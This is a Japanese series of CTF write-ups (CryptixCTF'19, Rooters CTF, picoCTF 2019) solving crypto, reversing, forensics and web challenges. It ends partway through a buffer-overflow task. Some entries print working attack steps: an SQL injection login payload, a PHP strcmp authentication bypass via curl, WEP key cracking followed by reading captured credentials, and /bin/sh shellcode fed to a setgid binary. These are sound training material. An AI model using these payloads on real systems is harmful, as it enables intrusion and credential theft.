2048ビットRSA鍵, ID B022BE72作成日付は2019-09-15

gpg: 無効なパスフレーズです。再入力してください ...

パスフレーズが必要のようだ。
README.txtを見ると以下の文がある。

NOTE: The old default encryption password 'VMC' has been replaced since 09/2018. Please use the new one.

VMCというパスワードが変わったとのこと。'MFMC'になったと考えられる。

$ gpg --output sessionkey_2fishecb.txt --decrypt sessionkey_2fishecb.txt.gpg

次のユーザの秘密鍵のロックを解除するには
パスフレーズがいります:"MYF4N74571CM4CH1N3C0rP (MFMC)"
2048ビットRSA鍵, ID B022BE72作成日付は2019-09-15

gpg: 2048-ビットRSA鍵, ID B022BE72, 日付2019-09-15に暗号化されました
      "MYF4N74571CM4CH1N3C0rP (MFMC)"

パスフレーズに"MFMC"を指定すると、復号できた。

$ cat sessionkey_2fishecb.txt
A0 C9 18 74 33 F2 2C 00 83 2B 1E 99 22 10 1A 6A

ファイル名からTwofish暗号(ECBモード)の鍵と考えられる。message.txtの内容をこの鍵で復号する。

from twofish import Twofish

with open('message.txt', 'r') as f:
    ct = f.read().replace(' ', '').decode('hex')

with open('sessionkey_2fishecb.txt', 'r') as f:
    key = f.read().replace(' ', '').decode('hex')

T = Twofish(key)

pt = ''
for i in range(0, len(ct), 16):
    pt += T.decrypt(ct[i:i+16])
print pt

復号結果は以下の通り。

If you reveal your secrets to the wind, you should not blame the wind for revealing them to the trees.
{silence_is_golden}
{silence_is_golden}

Enhanced PLC Encryption Standard (Crypto 600)

とりあえずどんな暗号処理をしているか日本語に直訳。

1.すべてのPLCが共有シークレットパスワードを取得します。
 これは非常に長いため、誰もそれをブルートフォースできません。
2.2つのデバイスが通信したい場合、1つ(A)が他のデバイス(B)に固有のチャレンジを送信します。
3.Bはチャレンジを取得し、チャレンジのパスワードの各文字をハッシュします:
 response = hash(char + challenge)
4.セキュリティのため、ここではSHA-256を使用します(安全でないMD5またはSHA-1は使用しません!)。 
 また、各文字を個別にハッシュするため、攻撃者が応答を記録した場合に完全なパスワードが
 漏洩することはありません。
5.BはAに多くの応答を送り返します。Aはパスワードの長さとパスワード自体を知っています。 
 したがって、応答がない場合、または応答が多すぎる場合、Aは接続を終了できます。
6.Aはハッシュ(char +チャレンジ)も実行し、すべての応答を比較します。 
 不一致がある場合、Aは接続を終了します。
7.すべての応答が一致すると、AとBは共有秘密パスワードをキーとして使用して通信を開始します。 
 ここでは、PLCが軍事グレードのAESをサポートしていないため、CBCモードで3DESを使用しています。

ハッシュにする際、1文字+チャレンジコードに対して行っているのでブルートフォースで割り出すことができる。これで秘密鍵がわかり、3DES-CBC、IVは\x00*8で暗号化しているので、復号できる。

import hashlib
from Crypto.Cipher import DES3

def unpad(s):
    return s[:-ord(s[-1])]

challenge = 'VkcV29UKCGbfuZyqea7uKbZ9'
h = [
    '5daaa90b563017184bb8dc277f63f02366a59519113b9ac87ba6fd46f93dc1ff',
    '01b4e096bcb756f176beaa2ebbb99ef144dc3fb0bc2d27e5fe63a5601e3abace',
    'db00873b16b99e32c6c67672ea52df6769cf7801ebb3dbf168f5b2e0f2ecc3bf',
    '146797c2afa9e1a2ad2ff8f05de647702949923f9a5dc12b26452b2c520c3340',
    '67dacf84cce58a6bf283d62354ad05052fe42808b59866dfb30137a08b4ff12d',
    'c13dcb97dccf5e3942324409202a103eb9f007866f247ebea48e2a67cbbcd07f',
    'd72a057ba7fddd03cae3d3f7d75f865fb1c2ddbe8ef65afc0ce8fbc0fc4122cb',
    '6eddcbed70839add89ed38c3068ffe6780f7b86f0bc7276e2d7e06f47ea2e05a',
    '146797c2afa9e1a2ad2ff8f05de647702949923f9a5dc12b26452b2c520c3340',
    'd72a057ba7fddd03cae3d3f7d75f865fb1c2ddbe8ef65afc0ce8fbc0fc4122cb',
    'db00873b16b99e32c6c67672ea52df6769cf7801ebb3dbf168f5b2e0f2ecc3bf',
    '4c1b4d5c926c4160b19effa23c93710f3086866a74aca5dad801fd81118d8d68',
    '67dacf84cce58a6bf283d62354ad05052fe42808b59866dfb30137a08b4ff12d',
    '4d4ac18fd35d3707fc3671d372bbe494691b01611632359c7d39b7becbfc1184',
    '4d4ac18fd35d3707fc3671d372bbe494691b01611632359c7d39b7becbfc1184',
    '571aef6ff2d25a7a32c3a9fc3b1c06d874979f082b5e90b0c30a01203885a2b0',
    'fdc984b4a8fec04fcb9faacf99f9dbfd0fbef0a33906c3fa89d9fb0b63947a0e',
    '146797c2afa9e1a2ad2ff8f05de647702949923f9a5dc12b26452b2c520c3340',
    '588917d1f04bbc53aed45c6db061092dde79af4c5fc3f01e96eab2e86b30e581',
    'a122c3b77eaf01341cc0c7da6e45e7ff9ff57f97a4c9542ad7e96a0f28499029',
    'fdc984b4a8fec04fcb9faacf99f9dbfd0fbef0a33906c3fa89d9fb0b63947a0e',
    '8419e8ddded5e57e71db42841f865f9fd751ec3b8e0395ba36818b52a015e47e',
    'af621e444935d03bc563e24982ad25d19c3ca4f52341232c978f7e63c809a27e',
    '572c394ed63437090aec71c806d92a2a10d5e3651eb30a91d1573ba3d37f4ad9'
]

password = ''
for i in range(24):
    for code in range(32, 127):
        text = chr(code) + challenge
        if hashlib.sha256(text).hexdigest() == h[i]:
            password += chr(code)
            break

print 'password =', password

IV = '0' * 8

ct1 = '24066241b2c524457a58196640197307469c18fd71bb6de304501a8d50981e25'
cipher = DES3.new(password, DES3.MODE_CBC, IV)
pt1 = unpad(cipher.decrypt(ct1.decode('hex')))
print pt1

ct2 = '07d89c21b9dd1eb81e26d52398da02a3d000ba82f9198b2b3311cb1cda901418'
cipher = DES3.new(password, DES3.MODE_CBC, IV)
pt2 = unpad(cipher.decrypt(ct2.decode('hex')))
print pt2

実行結果は以下の通り。

password = ultras3cr3tpa$$w0rd2019!
EPES HANDSHAKE SUCCESSFUL
{never-roll-your-own-crypto}
{never-roll-your-own-crypto}

CryptixCTF'19 Writeup

この大会は2019/10/12 21:30(JST)~2019/10/13 21:30(JST)に開催されました。
今回もチームで参戦。結果は2595点の満点で275チーム中4位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome gift (Make yourself comfortable 10)

Crypto問題。Base64文字列が与えられている。

$ echo ZmxhZ3t3ZWxjb21lX3RvX2NyeXB0aXhDVEZfYmFzZTY0aXRpc30K | base64 -d
flag{welcome_to_cryptixCTF_base64itis}
flag{welcome_to_cryptixCTF_base64itis}

You made it here! (Make yourself comfortable 10)

Web問題。HTMLソースを見ると、コメントにこう書いてある。

<!-- Came for the flag? Bingo!
      first part: flag{Pr3tty_ 
-->

リンクされているweb1/style.cssを見ると、コメントにこう書いてある。

/* second part: b4s1c_ */

リンクされているweb1/script.jsを見ると、コメントにこう書いてある。

// last part: 5tuff}

全部結合すると、フラグになる。

flag{Pr3tty_b4s1c_5tuff}

Secret Code (Make yourself comfortable 25)

Rev問題。stringsするだけ。

$ strings secret_code | grep flag
flag{sTring5_To_tH3_R35cU3}
flag{sTring5_To_tH3_R35cU3}

Mixed Up (Moving On 50)

Crypto問題。換字式暗号のようなので、調整しながら、quipqiupで復号する。調整した変換文字は「q=k x=x v=w」。

Cryptography, the use of codes and ciphers to protect secrets, began thousands of years ago. Until recent decades, it has been the story of what might be called classic cryptography ? that is, of methods of encryption that use pen and paper, or perhaps simple mechanical aids. The invention of complex mechanical and electromechanical machines, such as the Enigma rotor machine, provided more sophisticated and efficient means of encryption; and the subsequent introduction of electronics and computing has allowed elaborate schemes of still greater complexity, most of which are entirely unsuited to pen and paper. The development of cryptography has been paralleled by the development of cryptanalysis ? the breaking of codes and ciphers. The discovery and application, early on, of frequency analysisflag{freqanalysisworkxzz} to the reading of encrypted communications has, on occasion, altered the course of history. Thus the Zimmermann Telegram triggered the United States' entry into World War I; and Allied reading of Nazi Germany's ciphers shortened World War II, in some evaluations by as much as two years. Earlier, secure cryptography was largely the preserve of governments. Two events have since brought it squarely into the public domain: the creation of a public encryption standard{DES}, and the invention of public-key cryptography.

文中にフラグが入っている。

flag{freqanalysisworkxzz}

Where to run this (Moving On 75)

Rev問題。添付ファイルの実体はapkファイル。Bytecode Viewerでデコンパイルする。

public abstract class AppComputActivity extends AppCompatActivity {
   int a = 57;
   int b = 29;
   int[] key = new int[]{4817, 6356, 3107, 6014, 2993, 6584, 5444, 2195, 5444, 4817, 6527, 6014, 3050};

   int obf(String var1) {
      for(int var2 = 0; var2 < var1.length(); ++var2) {
         char var3 = var1.charAt(var2);
         if (this.a * var3 + this.b != this.key[var2]) {
            return 0;
         }
      }

      return 1;
   }
}

これを元に逆算して、return 1となるvar1を求める。

a = 57
b = 29
key = [4817, 6356, 3107, 6014, 2993, 6584, 5444, 2195, 5444, 4817, 6527, 6014, 3050]

secret = ''
for k in key:
    code = (k - 29) / 57
    secret += chr(code)

flag = 'flag{%s}' % secret
print flag
flag{To6i4s_&_Tri5}

Infiltrate (Moving On 75)

Web問題。SQLインジェクションを試す。
以下を入力し、ログインすると、フラグが表示された。

Username: ' or 1=1 #
flag{s1mpl3_5QL_1nj3cti0n}

The Spy (Still Manageable 100)

Crypto問題。恐らくRSA暗号。factordbでnらしきものを素因数分解する。

3073416132828889709313918053975078361304902307 = 13558774610046711780701 * 226673591177742970257407

eは通常の65537。cが1217323181436745647195685030986548015017805440として復号する。

from Crypto.Util.number import *

n = 3073416132828889709313918053975078361304902307
e = 65537
p = 13558774610046711780701
q = 226673591177742970257407
c = 1217323181436745647195685030986548015017805440

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
print flag
flag{w3ak_R5A_bad}

Weird machine (Still Manageable 150)

Crypto問題。seed値は1以上10000以下で、それによりXORのkeyが決まる。ブルートフォースで逆算して復号する。

import random
import string

alphanum = string.ascii_letters + string.digits

def random_string(rand_seed, l):
    random.seed(rand_seed)
    rand_string = ''
    for i in range(l):
        rand_string += alphanum[random.randint(1, 1000) % len(alphanum)]
    return rand_string

def decrpyt(random_str, bin_message):
    decrpyted = ''
    for i in range(len(bin_message) // 8):
        k = int(bin_message[i*8:i*8+8], 2) ^ ord(random_str[i])
        decrpyted += chr(k)
    return decrpyted

with open('seq.txt', 'r') as f:
    enc = f.read()

for rand in range(1, 10001):
    rand_string = random_string(rand, len(enc) // 8)
    flag = decrpyt(rand_string, enc)
    if flag.startswith('flag{'):
        break

print(flag)
flag{R4nd0m_s33d_s4v3d_y0u}

Let's climb the ladder (Welcome to the real deal 250)

Rev問題。Ghidraでデコンパイルする。

void check(char *pcParm1)

{
  size_t sVar1;
  
  sVar1 = strlen(pcParm1);
  if ((int)sVar1 == 0x15) {
    if ((int)pcParm1[7] == (uint)(pcParm1[0x10] == 0)) {
      fail();
    }
    else {
      if ((int)pcParm1[1] == (uint)(pcParm1[0xb] == 0)) {
        fail();
      }
      else {
        if ((int)pcParm1[2] == (uint)(pcParm1[8] == 0)) {
          fail();
        }
        else {
          if ((int)pcParm1[8] == (uint)(pcParm1[0x12] == 0)) {
            fail();
          }
          else {
            if ((int)pcParm1[3] == (uint)(pcParm1[0x11] == 0)) {
              fail();
            }
            else {
              if ((int)pcParm1[5] == (uint)(pcParm1[0x14] == 0)) {
                fail();
              }
              else {
                if ((int)pcParm1[9] == (uint)(pcParm1[10] == 0)) {
                  fail();
                }
                else {
                  if ((int)pcParm1[0xc] == (uint)(pcParm1[0x13] == 0)) {
                    fail();
                  }
                  else {
                    if (*pcParm1 == 'r') {
                      if ((int)pcParm1[2] - (int)pcParm1[1] == 1) {
                        if ((int)pcParm1[10] - (int)pcParm1[8] == 1) {
                          if (pcParm1[2] == '4') {
                            if ((int)*pcParm1 + (int)pcParm1[3] == 0xd6) {
                              if ((int)pcParm1[4] - (int)pcParm1[3] == 5) {
                                if ((int)pcParm1[6] + (int)pcParm1[5] == 0xd5) {
                                  if ((int)pcParm1[5] - (int)pcParm1[6] == 7) {
                                    if ((int)pcParm1[7] - (int)pcParm1[8] == 0x2b) {
                                      if ((int)pcParm1[0xd] + (int)pcParm1[0xc] == 0xcf) {
                                        if ((int)pcParm1[0xd] * (int)pcParm1[0xc] == 0x29ba) {
                                          if ((int)pcParm1[0xf] - (int)pcParm1[0xe] == 0xd) {
                                            if ((int)pcParm1[0xf] - (int)*pcParm1 == 7) {
                                              success();
                                            }
                                            else {
                                              fail();
                                            }
                                          }
                                          else {
                                            fail();
                                          }
                                        }
                                        else {
                                          fail();
                                        }
                                      }
                                      else {
                                        fail();
                                      }
                                    }
                                    else {
                                      fail();
                                    }
                                  }
                                  else {
                                    fail();
                                  }
                                }
                                else {
                                  fail();
                                }
                              }
                              else {
                                fail();
                              }
                            }
                            else {
                              fail();
                            }
                          }
                          else {
                            fail();
                          }
                        }
                        else {
                          fail();
                        }
                      }
                      else {
                        fail();
                      }
                    }
                    else {
                      fail();
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  else {
    fail();
  }
  return;
}

条件を確認する。

・長さは21(0番目~20番目)
・7番目と16番目は同じ
・1番目と11番目は同じ
・2番目と8番目は同じ
・8番目と18番目は同じ
・3番目と17番目は同じ
・5番目と20番目は同じ
・9番目と10番目は同じ
・12番目と19番目は同じ
・0番目は'r'
・2番目-1番目=1
・10番目-8番目=1
・2番目は'4'
・0番目+3番目=0xd6
・4番目-3番目=5
・6番目+5番目=0xd5
・5番目-6番目=7
・7番目-8番目=0x2b
・13番目+12番目=0xcf
・13番目*12番目=0x29ba
・15番目-14番目=13
・15番目-0番目=7

条件を満たすよう位置を考えながら、文字を埋めていく。

          11111111112
012345678901234567890
r34ding_4553mbly_d4mn
flag{r34ding_4553mbly_d4mn}

Your ID please (Welcome to the real deal 300)

Web問題。添付されているコードを読むと、IDは"SuperUser1337"であればよいことがわかる。
あとはパスワードだが、phpの比較がstrcmpで"==0"になっているので、配列を使って条件を満たすようにする。

$ curl -X POST -d 'ID=SuperUser1337&pwd[]=a' https://cryptixctf.com/web4/login.php
<br />
<b>Warning</b>:  strcmp() expects parameter 2 to be string, array given in <b>/app/login.php</b> on line <b>7</b><br />
Hey, you are in!  SuperUser1337<br>Your Flag: flag{Why_Juggl3_th3_Typ5}
flag{Why_Juggl3_th3_Typ5}

Hidden deep within (Finally... 400)

Stegano問題。添付されているpngファイルをStegsolveで開き、Data ExtractでRGBのLSBにチェックを入れると、PNGが抽出できる。
f:id:satou-y:20191019060606p:plain
抽出した画像にはこう書いてある。

flag{Haha_fake_flag}
nice try through!

まだ先がありそう。抽出したPNGファイルをStegsolveで開き、Data ExtractでRGBのLSBにチェックを入れると、フラグが見えた。
f:id:satou-y:20191019060725p:plain

flag{st3g4n0gr4phy_i5_34sy}

Rooters CTF Writeup

この大会は2019/10/10 15:30(JST)~2019/10/12 15:30(JST)に開催されました。
今回もチームで参戦。結果は6193点で450チーム中9位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

Discordの入ると、#announcementsチャネルのメッセージにフラグが書いてある。

rooters{W3lc0m3_t0_RootersCTF}ctf

Programming (Misc)

pngファイルをStegsolveで開き、Red plane 0を見ると、フラグの後半が書いてある。
f:id:satou-y:20191018215534p:plain

_T0_d1g_deep3R}ctf

pngファイルの後ろにzipファイルがあるので取り出す。zipを展開すると、input.txtとreadme.txtのファイルが出てくる。readme.txtにはこう書いてある。

there is a file input.txt which contains 2 strings. and the longest common subsequence of those 2 strings will give you the flag

どうやらinput.txtの2行に対して、LCSを求めればよいらしい。
https://www.sanfoundry.com/python-program-find-longest-common-subsequence-using-dynamic-programming-memoization/を参考にスクリプトを組む。

def lcs(u, v):
    c = [[-1]*(len(v) + 1) for _ in range(len(u) + 1)]
    lcs_helper(u, v, c, 0, 0)
    return c

def lcs_helper(u, v, c, i, j):
    if c[i][j] >= 0:
        return c[i][j]

    if i == len(u) or j == len(v):
        q = 0
    else:
        if u[i] == v[j]:
            q = 1 + lcs_helper(u, v, c, i + 1, j + 1)
        else:
            q = max(lcs_helper(u, v, c, i + 1, j),
                    lcs_helper(u, v, c, i, j + 1))
    c[i][j] = q
    return q

def get_lcs(u, v, c):
    s = ''
    i = j = 0
    while not (i == len(u) or j == len(v)):
        if u[i] == v[j]:
            s += u[i]
            i += 1
            j += 1
        elif c[i][j + 1] > c[i + 1][j]:
            j += 1
        else:
            i += 1
    return s

with open('input.txt', 'r') as f:
    s1 = f.readline()
    s2 = f.readline()

c = lcs(s1, s2)
flag1 = get_lcs(s1, s2, c)
print flag1

LCSの結果は以下の通り。

rooters{s0m3times_U_h@v3

結合するとフラグになる。

rooters{s0m3times_U_h@v3_T0_d1g_deep3R}ctf

You Can't See Me (Forensics)

pdfを開くと、真っ白なページが93ページまである。
テキストを全選択し、コピーする。

    :
CUR PRAEMIA CRESCIT HAUSTAM VIM
IGNOTAS. AC II QUATENUS RELIQUAS
S23432EQ{rooters{Ja1_US1CT}ctfINC
ERTAS
EO LECTIONE ODORATUM. HA INFINITI
EARUMDEM AC FUNDITUS
RCTF CURANDUM EJUSMODI
CONVERTO.DEI QUID QUAM HUIC SAE
FORE NISI.
OLIM DERCtUS FOCO AGI SINE DURA
ULLO TAM. SU}O DISSIMILEM
incrementi duo_98UHB praevidere.
v RCTF Meo nullo ens
talem dubio age novum aucta eam.
In saepius infus}um
    :

最後の方にフラグらしきものが混ざっている。

rooters{Ja1_US1CT}ctf

Find The Pass (Forensics)

802.11の通信ばかりがあるcapファイルが添付されている。キーをクラックしてみる。

$ aircrack-ng inc0gnito.cap 
Opening inc0gnito.cap
Read 2275250 packets.

   #  BSSID              ESSID                     Encryption

   1  E8:DE:27:57:4F:32  BLUE_CORP                 WEP (20006 IVs)

Choosing first network as target.

Opening inc0gnito.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 20006 ivs.


                                 Aircrack-ng 1.2 rc2


                 [00:00:02] Tested 50922 keys (got 20006 IVs)

   KB    depth   byte(vote)
    0    0/  1   FF(32256) CE(25856) 0F(25600) 07(24832) 59(24832) 
    1   41/ 54   00(22272) 11(22016) 1E(22016) 25(22016) 33(22016) 
    2   11/ 19   AD(23808) EB(23808) F4(23808) 06(23808) 5F(23552) 
    3    2/  5   BE(26112) 58(25600) A7(25600) EA(25088) BF(24320) 
    4    0/ 10   EF(28928) 8F(27392) 30(27392) BF(26112) AD(25856) 

                         KEY FOUND! [ FF:DE:AD:BE:EF ] 
	Decrypted correctly: 100%

Wiresharkで開き、[編集]-[設定]から[Protocols]-[IEEE 802.11]の設定で、wepを選択し、キーをFF:DE:AD:BE:EFと設定し、復号する。
httpでフィルタリングして通信を見てみると、No.7076パケットにBasic認証のデータが入っている。

admin:blu3_c0rp_p4ss
rooters{blu3_c0rp_p4ss}ctf

Frames per Story (Forensics)

たくさんjpgが入っている。EXIFに文章が含まれていることがわかったので、全ファイルのEXIFを取得してみる。

$ exiftool *.jpeg | grep Comment
Comment                         : MICHAEL: All
Comment                         : right Jim,
Comment                         : your
Comment                         : quarterlies
Comment                         : look very
Comment                         : good. How
Comment                         : the thing is
Comment                         : going at the
Comment                         : library?JIM:
Comment                         : Oh I told
Comment                         : you couldn't
Comment                         : close it
Comment                         : soMICHAEL:
Comment                         : So you've
Comment                         : come to the
Comment                         : master for
Comment                         : guidance?
Comment                         : (imitating)
Comment                         : Is http://ti
Comment                         : ny.cc/rosvdz
Comment                         : this what
Comment                         : you're
Comment                         : saying grass
Comment                         : hopper?JIM:
Comment                         : Actually you
Comment                         : called me in
Comment                         : here, but ye
Comment                         : ah.MICHAEL:
Comment                         : All right,
Comment                         : well let me
Comment                         : show you how
Comment                         : it's done. h
Comment                         : ttp://tiny.c
Comment                         : c/rosvdz
Comment                         : (gets on
Comment                         : phone) Yes,
Comment                         : I liked to
Comment                         : speak to
Comment                         : your office
Comment                         : manager
Comment                         : please. Yes
Comment                         : hello this
Comment                         : is Michael
Comment                         : Scott, I am
Comment                         : the regional
Comment                         : manager of
Comment                         : Dunder
Comment                         : Mifflin
Comment                         : paper
Comment                         : products.
Comment                         : Just wanted
Comment                         : to talk to
Comment                         : you,
Comment                         : manager-on-
Comment                         : manager.
Comment                         : (cut to the
Comment                         : office and
Comment                         : cut back)
Comment                         : All right
Comment                         : done deal,
Comment                         : thank you
Comment                         : very much
Comment                         : sir, you're
Comment                         : a gentleman
Comment                         : and a
Comment                         : scholar. Oh
Comment                         : I'm sorry,
Comment                         : ok, I'm
Comment                         : sorry, my
Comment                         : mistake.
Comment                         : (hangs up)
Comment                         : That was a
Comment                         : woman I was
Comment                         : talking to
Comment                         : she had a
Comment                         : very low
Comment                         : voice.
Comment                         : Probably a
Comment                         : smoker. So,
Comment                         : so that's
Comment                         : the way it's
Comment                         : done.
Comment                         : Michael: (to
Comment                         : the camera)
Comment                         : I've been in
Comment                         : Dundler
Comment                         : Mifflin for
Comment                         : twelve
Comment                         : years, the
Comment                         : last four as
Comment                         : regional
Comment                         : manager. If
Comment                         : you want to
Comment                         : come through
Comment                         : here, (opens
Comment                         : the door to
Comment                         : the main
Comment                         : office) so
Comment                         : we have the
Comment                         : entire
Comment                         : floor, so
Comment                         : this is my
Comment                         : kingdom, as
Comment                         : far as the
Comment                         : eye can see,
Comment                         : ah this is
Comment                         : our
Comment                         : receptionist
Comment                         : Pam. (goes
Comment                         : to the recep
Comment                         : tionist)
Comment                         : Pam, Pam
Comment                         : Pam! http://
Comment                         : tiny.cc/rosv
Comment                         : dz Pam
Comment                         : Beesly. Pam
Comment                         : has been
Comment                         : with us for'
Comment                         : for ever,
Comment                         : Lavc57.70.100

URLが含まれている。http://tiny.cc/rosvdzにアクセスしてみる。実体はGoogleドライブでfinal.pngがダウンロードできる。
f:id:satou-y:20191018220650p:plain
ダウンロードした画像をよく見ると二人の間に不自然な線がある。この線の部分のRGBをASCIIコードとして文字にする。

from PIL import Image

img = Image.open('final.png').convert('RGB')
w, h = img.size

flag = ''
for y in range(6, 20):
    r, g, b = img.getpixel((374, y))
    flag += chr(r) + chr(g) + chr(b)

print flag

実行結果は以下の通り。

rooters{WHY_4R3_TH3_W4Y_TH4T_Y0U_4R3!}c tf

\x00がcとtfの間に入るので、詰める。

rooters{WHY_4R3_TH3_W4Y_TH4T_Y0U_4R3!}ctf

babyRSA (Cryptography)

RSA暗号。factordbでnを素因数分解する。

p = 244117596642286059282649228191796982671
q = 312461564294690980358123469116445272347

あとはそのまま復号する。

from Crypto.Util.number import *

c = int('a0d8e768fa9d7238a6974b4a54073165fede084494d52b2ed600e6d0e77c1113', 16)
n = 76277366118709104496037524736448350894293924248428417186334555697457434498837
e = 65537

p = 244117596642286059282649228191796982671
q = 312461564294690980358123469116445272347

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
rooters{L34RNING_N3W_TH1NGS}ctf

Really Silly Algorithm LIBrary (Cryptography)

スクリプトの変数名から、RSA鍵生成脆弱性ROCAの問題と推定し、necaで素因数分解する。

$ ./neca 11127212863544389237262565582342312793444654886136310133705565382574067475157051952050355000097126157942244686899397157941082263117851
NECA - Not Even Coppersmith's Attack
ROCA weak RSA key attack by Jannis Harder (me@jix.one)

 *** Currently only 512-bit keys are supported ***

N = 11127212863544389237262565582342312793444654886136310133705565382574067475157051952050355000097126157942244686899397157941082263117851
Factoring...



Factorization found:
N = 3851789689222186911734129440311249236982321127122393533115947118361 * 2888842268486202984677183224410114807785901996516180457699983627091

素因数分解できたので、あとはそのまま復号する。

from Crypto.Util.number import *

c = int('014107b18849e23cc0494a1f32d2176a0c0a497e2ad35d054941716d6a60c5be5656b369e0e4bba72fbcaba4586bc0cd352d4da34023b5a8', 16)
n = 11127212863544389237262565582342312793444654886136310133705565382574067475157051952050355000097126157942244686899397157941082263117851
e = 0x10001

p = 3851789689222186911734129440311249236982321127122393533115947118361
q = 2888842268486202984677183224410114807785901996516180457699983627091

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
rooter{H0W_0DD_W45_17}ctf

Digene (Cryptography)

1行目と3行目にURL SafeなBase64文字列がある。いろいろと調べたところ、Fernet暗号である可能性が高い。1行目を暗号データ、3行目を鍵として復号する。

from cryptography.fernet import Fernet

token = 'gAAAAABdnF6L7Gb1WxFUr4AVSs3Lg0lHetYDwxJvo84WN9DZd2_UASlX26XhPuFgIFs5v54yzxAbmQaZet9tOP-__y46eLqW5OeyLNlKlRpX_UfMm-aDLAM5p-DrBEBK_IzH_2kXJxc3'
key = 'eH9Yta38cisI5gPZiNA3C6yKRRqqEy-K9Q9ZwfF5r1k='

f = Fernet(key)
flag = f.decrypt(token)
print flag
rooters{d!g3st!f_th4t_d!g3sts_y0ur_m3ss4g3s}ctf

picoCTF 2019 Writeup

この大会は2019/9/28 2:00(JST)~2019/10/12 2:00(JST)に開催されました。
今回もチームで参戦。結果は34201点の満点で16308チーム中12位でした。
自分で解けた問題をWriteupとして書いておきます。

2Warm (General Skills 50)

10進数の42を2進数表記にする問題。

>>> bin(42)[2:]
'101010'
picoCTF{101010}

Glory of the Garden (Forensics 50)

jpgファイルが添付されている。stringsで含まれている文字列から検索してみる。

$ strings garden.jpg | grep picoCTF
Here is a flag "picoCTF{more_than_m33ts_the_3y3DBce41ae}"
picoCTF{more_than_m33ts_the_3y3DBce41ae}

Insp3ct0r (Web Exploitation 50)

HTMLソースを見ると、コメントにフラグの一部が見つかる。

<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->

リンクされているcssを見ると、コメントにフラグの一部が見つかる。

/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */

リンクされているjsを見ると、コメントにフラグの一部が見つかる。

/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?78ec625e} */

結合すると、フラグになる。

picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?78ec625e}

Lets Warm Up (General Skills 50)

16進数0x70をASCII文字にする問題。

>>> chr(0x70)
'p'
picoCTF{p}

The Numbers (Cryptography 50)

アルファベット文字のインデックスが書いてあるので、アルファベット文字にしていく。

         11111111112222222
12345678901234567890123456
ABCDEFGHIJKLMNOPQRSTUVWXYZ

picoCTF{thenumbersmason}では通らなかった。Hintsを見ると、フラグ形式はPICOCTF{}ということなので、大文字にする必要がありそう。

PICOCTF{THENUMBERSMASON}

Warmed Up (General Skills 50)

16進数の0x3Dを10進数表記にする問題。

>>> 0x3D
61
picoCTF{61}

handy-shellcode (Binary Exploitation 50)

シェルコードを流す必要がある。

xxxxxxxx@pico-2019-shell1:~$ cd /problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100
xxxxxxxx@pico-2019-shell1:/problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100$ ls
flag.txt  vuln  vuln.c
xxxxxxxx@pico-2019-shell1:/problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100$ uname -a
Linux pico-2019-shell1 4.15.0-1050-aws #52-Ubuntu SMP Thu Sep 12 19:56:00 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
xxxxxxxx@pico-2019-shell1:/problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100$ file vuln
vuln: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=7b65fbf1fba331b6b09a6812a338dbb1118e68e9, not stripped

http://shell-storm.org/shellcode/files/shellcode-237.phpを参考にする。

xxxxxxxx@pico-2019-shell1:/problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100$ (echo -e "\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1"; cat) | ./vuln
Enter your shellcode:
h̀hh��hj
       X1�Rh//shh/bin��RS����
Thanks! Executing now...
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_9b59d33c}
picoCTF{h4ndY_d4ndY_sh311c0d3_9b59d33c}

practice-run-1 (Binary Epxloitation 50)

実行するだけ。

$ ./run_this 
picoCTF{g3t_r3adY_2_r3v3r53}
picoCTF{g3t_r3adY_2_r3v3r53}

unzip (Forensics 50)

$ unzip flag.zip
Archive:  flag.zip
  inflating: flag.png

pngファイルにフラグが書いてあった。
f:id:satou-y:20191014194937p:plain

picoCTF{unz1pp1ng_1s_3a5y}

vault-door-training (Reverse Engineering 50)

javaファイルが添付されている。このソースコードにフラグが書いてあった。

picoCTF{w4rm1ng_Up_w1tH_jAv4_ba382529688}

13 (Cryptography 100)

ROT13。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

picoCTF{not_too_bad_of_a_problem}

Bases (General Skills 100)

Base64デコードをする。

$ echo bDNhcm5fdGgzX3IwcDM1 | base64 -d
l3arn_th3_r0p35
picoCTF{l3arn_th3_r0p35}

Easy1 (Cryptography 100)

tableはVigenere暗号を示している。tableを見ながらUFJKXQZQUNBをSOLVECRYPTOで復号する。

UFJKXQZQUNB
SOLVECRYPTO
CRYPTOISFUN
picoCTF{CRYPTOISFUN}

First Grep (General Skills 100)

ファイルが添付されている。フラグを検索すればよい。

$ cat file | grep picoCTF
picoCTF{grep_is_good_to_find_things_fce80031}
picoCTF{grep_is_good_to_find_things_fce80031}

OverFlow 0 (Binary Exploitation 100)

bufは128バイトだけあるので、それを大幅に超えると、フラグが表示されるはず。

xxxxxxxx@pico-2019-shell1:~$ cd /problems/overflow-0_3_e217dae547cccbfeb9dbae42623404b7
xxxxxxxx@pico-2019-shell1:/problems/overflow-0_3_e217dae547cccbfeb9dbae42623404b7$ ls
flag.txt  vuln  vuln.c
